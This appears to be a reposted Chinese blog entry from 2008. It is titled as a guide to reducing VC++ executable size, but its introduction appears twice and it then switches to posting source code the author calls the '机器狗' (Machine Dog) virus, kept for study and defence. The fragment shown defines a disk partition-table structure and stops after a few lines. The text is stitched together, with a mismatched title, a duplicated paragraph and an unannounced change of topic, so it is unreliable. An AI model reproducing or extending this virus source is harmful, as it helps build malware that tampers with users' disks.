[转]减小VC编译文件体积
Posted by robay on 9 四月, 2008
No comments yet
This item was filled under [ 技术相关 ]
一
通常vc++编译出来的程序体积很大,debug模式的程序的最小体积一般都在100KB以上。这使不少人对VC++有了不好的印象,以为VC++是制造麻烦的工具。其实情况并不是这样,我们可以通过一些办法有效的减少执行程序的体积。
下面通过一个具体的范例给你讲述:
一
通常vc++编译出来的程序体积很大,debug模式的程序的最小体积一般都在100KB以上。这使不少人对VC++有了不好的印象,以为VC++是制造麻烦的工具。其实情况并不是这样,我们可以通过一些办法有效的减少执行程序的体积。
下面通过一个具体的范例给你讲述:
前面的日志里曾经提到过机器狗的病毒,今天上网的时候无意中看了它的源码,转过来留存下,有机会认真学习一下,了解下其原理,防范于未然!
// Test.cpp : 定义控制台应用程序的入口点。
//
#include “stdafx.h”
//===========================================================
#include <pshpack1.h>
typedef struct _PARTITION_ENTRY
{
UCHAR active; // 能否启动标志
UCHAR StartHead; // 该分区起始磁头号
UCHAR StartSector; [...]